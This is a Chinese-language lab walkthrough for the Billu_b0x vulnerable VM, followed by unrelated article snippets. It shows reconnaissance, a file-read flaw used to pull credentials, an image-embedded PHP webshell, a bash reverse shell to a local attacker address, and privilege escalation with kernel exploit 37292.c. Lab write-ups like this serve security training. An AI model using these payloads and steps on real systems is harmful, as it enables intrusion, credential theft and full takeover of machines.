Billu_b0x靶机

信息收集

使用arp-scan 生成网络接口地址来查看ip

输入命令:

arp-scan -l

可以查看到我们的目标ip为192.168.187.153

在这里插入图片描述

nmap扫描端口开放

输入命令:

nmap -min-rate 10000 -p- 192.168.187.153

可以看到开放2个端口

在这里插入图片描述

nmap扫描端口信息

输入命令:

nmap -sC -sT -A -p 22,80 192.168.187.153

在这里插入图片描述

nmap漏洞脚本扫描

输入命令:

nmap --script=vuln 192.168.187.153

这里没有扫描可以利用的信息

在这里插入图片描述

查看web端

页面上有一个登录的地方,但是还不知道密码,不过提示了一句向我展示你的sql技巧,看样子是想让我们使用sql注入

在这里插入图片描述

扫描子目录

输入命令:

dirsearch -u http://192.168.187.153

可以发现一些子目录

在这里插入图片描述

输入命令:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50

这里也看到了一些子目录,等下访问看看

在这里插入图片描述

这个目录下查看到phpinfo()信息

在这里插入图片描述

查看php配置信息

在这个下面可以看到allow_url_fopen是on状态,可以允许本地文件包含

在这里插入图片描述

发现登录页面

这里看到了另一个新的页面,但是我们现在没有密码,先去找密码

在这里插入图片描述

发现文件包含页面

这里的test目录下看到了一个新的提示

在这里插入图片描述

翻译内容,看来是要我们加上file参数,有可能这里就是文件包含的位置,试一下

在这里插入图片描述

构造url语句

get请求验证

我们先尝试了get请求下的文件包含语句,但是发现没有成功

http://192.168.187.153/test.php?file=../../../etc/passwd

在这里插入图片描述

post请求验证

接下来尝试一下post请求的文件包含语句。这里可以使用bp来实现,也可以在kali中借助curl这个工具实现,这里使用的后者

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd

发现成功回显了信息,证明确实是存在本地文件包含

在这里插入图片描述

利用文件包含读取文件信息

既然已经证实存在了文件包含,那我们可以读取很多之前看不到的文件的信息了

查看add.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=add.php

add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码

在这里插入图片描述

拿到数据库的密码信息

查看c.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=c.php

在这里看到了疑似数据库的连接用户名和密码,等下可以去查看一下

billu:b0x_billu

在这里插入图片描述

登录数据库

返回phpmy页面尝试登录,发现成功登录。

在这里插入图片描述

发现版本信息

这里在右下角发现了很多版本的信息

在这里插入图片描述

发现用户信息

然后在这个位置又找到了一组登录的信息

biLLu:hEx_it

在这里插入图片描述

渗透思路

这里我们有三种思路可选

  • 可以从phpmyadmin的版本入手,查找有无对应的漏洞

输入命令:

searchsploit phpMyAdmin 3.4.7

但是没有找到,所以这条路行不通

在这里插入图片描述

  • phpmyadmin的相关配置文件一般都是config.inc.php

在我们当前可以利用文件包含阅读其他文件的基础上,我们可以查看这个配置文件中的内容和信息。可以猜测一下,这个配置文件的存放

位置就是在 phpMy的目录下,通过URL猜测路径默认在/var/www/phpmy下面

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php

直接发现了root用户的登录密码(我人傻了。这么简单吗,sql注入没用呢,主页面还没有登录呢,我勒个去!!!)

root:roottoor

在这里插入图片描述

尝试ssh登录

直接试试ssh登录root用户(还是很怀疑是不是有这么简单)

输入命令:

ssh root@192.168.187.153

输入密码roottoor 发现成功登录,然后直接找flag就行(我已经人傻了)

在这里插入图片描述

  • 第三种就是正常思路了,可以去主页面登录用户名的信息,然后继续去做就可以

登录主页面

虽然上面的方法已经成功拿到了root权限,但是还是想着继续从其他方向突破试试那我们就回到主页面登录尝试一下,然后发现成功登录

在这里插入图片描述

这里登录进来后,又看到了文件上传的地点

在这里插入图片描述

制作图片木马

尝试过了weevely的加密木马,无法连接,所以还是老老实实反弹shell吧,准备好一张可以上传的图片,可以提前试一下,然后准备好我们的php文件,配置好ip和端口

输入命令:

cat 1.gif 123.php > 2.gif

在这里插入图片描述

成功合成了图片

在这里插入图片描述

上传图片木马

点击上传后,发现成功上传

在这里插入图片描述

现在先开启监听

在这里插入图片描述

结合之前扫描到的子目录,我们可以推测照片在uploaded_images/这个目录下,打开发现果然存在

在这里插入图片描述

我们打开我们上传的图片木马,回到kali中可以看到并没有反弹成功,可见直接打开图片,并不会执行代码

在这里插入图片描述

利用文件包含执行图片木马中的php语句

这里我们可以使用文件包含来执行图片里的php语句

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif

在这里插入图片描述

但是kali中无法反弹成功

在这里插入图片描述

查询文件包含的函数

这里不知道为什么失败,查询一下当前页面的文件包含函数是什么

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=test.php

发现是readfile()这个参数

在这里插入图片描述

经过上网搜查readfile的功能,是属于任意文件读取**。**无法执行php代码。所以我们上传的php反弹语句无法执行

在这里插入图片描述

漏洞挖掘

然后这里实在是没思路了,后来找了半天问了一下大佬,才知道在panel.php这个页面中存在本地文件包含漏洞

我们查看一下这个文件

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=panel.php

发现了include()这个函数,那我们可以在这里进行一个文件包含漏洞的利用

在这里插入图片描述

构造一句话木马

还是利用图片木马的原理,不过这次我们需要构造一句话木马

在这里插入图片描述

再次合成图片木马

输入命令:

cat 1.gif shell.php > 4.gif

在这里插入图片描述

上传图片木马

显示上传成功

在这里插入图片描述

文件包含漏洞利用

上传成功了,那我们就先试试有没有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue

上面的cmd配置为cmd=cat%20/etc/passwd;ls 这里的空格必须使用url编码才能执行成功,然后在右面也可以看到返回值

在这里插入图片描述

那我们先开启监听

在这里插入图片描述

配置反弹语句

echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash

由于之前就实验了必须使用url编码才能够执行语句,所以我们先将语句进行url编码

在这里插入图片描述

然后在bp中执行这段语句

在这里插入图片描述

执行以后就可以发现反弹shell成功了

在这里插入图片描述

提权思路

这里提权思路有这几种

sudo提权,suid提权,内核漏洞提权,计划任务提权

正常情况下,我们肯定是要一个个去试试的,对于这个靶机而言,经过尝试后,最终要使用的提权方法为内核漏洞提权

查找内核信息

输入命令:

uname -a

在这里插入图片描述

输入命令:

cat /etc/issue.net

在这里插入图片描述

查找漏洞

然后去查找有无对应的漏洞

输入命令:

searchsploit linux 3.13

这里找到了一个符合条件的漏洞文件,拿来试试

在这里插入图片描述

漏洞利用

首先将这个文件拷贝到桌面上

输入命令:

searchsploit -m 37292.c

在这里插入图片描述

然后开启http临时服务

输入命令:

python3 -m http.server 80

在这里插入图片描述

在靶机中使用wget命令下载文件(最好在/tmp目录下)

在这里插入图片描述

查看一下文件是否传输成功,发现没有问题

在这里插入图片描述

提权成功

编译,赋权,执行

输入命令:

gcc 37292.c -o exp

chmod 777 exp

./exp

执行完以后就发现已经是root权限了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/801161.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【深度学习】PyTorch框架(2):激活函数

1.引言 在文中,我们将深入探讨流行的激活函数,并分析它们在神经网络优化特性中的作用。激活函数在深度学习模型中扮演着至关重要的角色,因为它们为网络引入了非线性特性。尽管文献中描述了众多的激活函数,但它们并非一视同仁&…

北京交通大学《深度学习》专业课,实验2-前馈神经网络

1. 源代码 见资源“北京交通大学《深度学习》专业课,实验2-前馈神经网络” 2. 实验内容 (1)手动实现前馈神经网络解决上述回归、二分类、多分类任务 分析实验结果并绘制训练集和测试集的loss曲线 (2)利用to…

发电机保护屏的工作原理和组成

发电机保护屏的工作原理和组成 发电机保护屏的工作原理是通过监测发电机的电气参数和运行状态,‌一旦发现异常或故障,‌及时采取相应的保护措施,‌以确保发电机的安全运行。‌ 发电机保护屏通常包含各种传感器、‌保护继电器和控制…

Golang | Leetcode Golang题解之第231题2的幂

题目&#xff1a; 题解&#xff1a; func isPowerOfTwo(n int) bool {const big 1 << 30return n > 0 && big%n 0 }

整数或小数点后补0操作

效果展示&#xff1a; 整数情况&#xff1a; 小数情况&#xff1a; 小编这里是以微信小程序举例&#xff0c;代码通用可兼容vue等。 1.在utils文件下创建工具util.js文本 util.js页面&#xff1a; // 格式…

docker desktop历史版本安装

1.安装choco Windows安装 choco包管理工具-CSDN博客 2.通过choco安装 下面例子为安装旧版2.3.0.2,其它版本类似 Chocolatey Software | Docker Desktop 2.3.0.2 https://download.docker.com/win/stable/45183/Docker%20Desktop%20Installer.exe choco install docker-des…

ESP32-S3多模态交互方案在线AI语音设备应用,启明云端乐鑫代理商

随着物联网&#xff08;IoT&#xff09;和人工智能&#xff08;AI&#xff09;技术的飞速发展&#xff0c;嵌入式设备正逐渐变得智能化&#xff0c;让我们的家庭生活变得更加智能化和个性化。 随着大型语言模型的不断进步和优化&#xff0c;AI语音机器人设备能够实现更加智能、…

绝缘子污秽comsol仿真参数

&#x1f3c6;本文收录于《CSDN问答解答》专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&…

Java+springboot+vue智慧班牌小程序源码,智慧班牌系统可以提供哪些服务?

智慧班牌全套源码&#xff0c;系统技术架构&#xff1a;Javaspringbootvue element-ui小程序电子班牌&#xff1a;Java Android演示正版授权。 智慧班牌在智慧校园的数字化建设中提供了多种服务&#xff0c;这些服务不仅丰富了校园的信息展示方式&#xff0c;还促进了家校互动…

渲染100农场有哪些优势?渲染100邀请码1a12

渲染100是知名的渲染农场&#xff0c;深受广大设计师欢迎&#xff0c;比起其他农场&#xff0c;它有什么优势呢&#xff1f;我们一起来看看。 1、资源丰富 渲染100拥有强大的计算集群&#xff0c;能多线处理大规模、超复杂的场景渲染需要&#xff0c;性能卓越。2、成本低廉 渲…

文件的顺序读写

文件读写函数介绍 文件顺序读写函数 函数名功能适用于fputc 字符输出函数 所有输出流 fgetc 字符输⼊函数 所有输⼊流 fputs ⽂本⾏输出函数 所有输出流fgets ⽂本⾏输⼊函数 所有输⼊流fprintf 格式化输出函数 所有输出流fscanf 格式化输⼊函数 所有输⼊流fwrite ⼆进制输出…

Multi-modal Information Fusion for Action Unit Detection in the Wild

标题&#xff1a;多模态信息融合用于野外动作单元检测 源文链接&#xff1a;https://openaccess.thecvf.com/content/CVPR2023W/ABAW/papers/Deng_Multi-Modal_Information_Fusion_for_Action_Unit_Detection_in_the_Wild_CVPRW_2023_paper.pdfhttps://openaccess.thecvf.com/…

【HarmonyOS开发】Tabs使用封装

背景 在写Tabs时&#xff0c;会使用很多个TabContent来实现不同页面的展示内容&#xff0c;但是如果TabContent数量很多时&#xff0c;会导致Tabs代码量大而且很臃肿&#xff0c;因此想着尝试去封装Tabs的使用&#xff0c;可以让界面整洁和对内容界面的解耦。 主要依托于wrap…

数据驱动下的私域运营战略布局

一、以用户为中心的组织重构或整合 发现&#xff0c;市场上大部分做的非常成功的私域项目&#xff0c;都是由CEO推动的、基于该战略的组织重构去驱动的。 我们也看到&#xff0c;在很多公司&#xff0c;私域运营是由品牌部门、CRM部门和Trade Marketing部门合作一起运营的。 …

SpringCloud教程 | 第十篇: 读取Nacos的配置

1、引入依赖 <dependency><groupId>com.alibaba.boot</groupId><artifactId>nacos-config-spring-boot-starter</artifactId><version>0.2.7</version></dependency> 2、在启动类加上 NacosPropertySource(dataId"nac…

芯课堂 | 基于ugui上位机工程怎么使用串口烧录素材

1、查看程序初始化串口引脚和波特率 串口引脚是PE7和PE5&#xff0c;默认初始化波特率是115200。可以使用串口模块连接串口引脚&#xff0c;如果用我们的开发板&#xff0c;板载有ch340串口模块&#xff0c;需要用杜邦线把串口模块连接串口引脚&#xff0c;具体可以查看原理图…

stm32学习:(寄存器1)控制寄存器来让led亮

开启时钟&#xff0c;先查找到开启时钟的寄存器&#xff0c;然后通过该寄存器操作时钟的开启或关闭&#xff0c;要打开的是GPIOA的时钟 在芯片手册&#xff0c;找到RCC寄存器描述章节找到APB2外设时钟使能寄存器&#xff08;RCC_APB2ENR)&#xff0c;现在算RCC_APB2ENR这个寄存…

Monaco 使用 DocumentFormattingEditProvider

文档格式化&#xff0c;是 VSCode 比较常用的功能&#xff0c;在文档上点击右键选择格式化文档。效果如下&#xff1a; 在 Monaco 通过 registerDocumentFormattingEditProvider 方法注册处理函数&#xff0c;实现 provider 方法。 provider 方法返回格式化好的代码。 TextE…

【工具】2102- es-toolkit:一个现代 JavaScript 工具包,体积更小,内置 TypeScript 支持...

介绍 es-toolkit 是一款先进且具备高性能的现代化 JavaScript 实用工具库&#xff0c;其拥有较小的捆绑包规模以及强大的类型注解&#xff0c;同时还提供了一系列非常不错的函数&#xff0c;适合日常使用。 相较于 lodash 等替代方案&#xff0c;es-toolkit 所提供的包体积显著…

C++相关概念和易错语法(21)(虚函数、协变、析构函数的重写)

多态的核心是虚函数&#xff0c;本文从虚函数出发&#xff0c;根据原理慢慢推进得到结论&#xff0c;进而理解多态 1.虚函数 先看一下下面的代码&#xff0c;想想什么导致了这个结果 #include <iostream> using namespace std;class A { public:virtual void test(){co…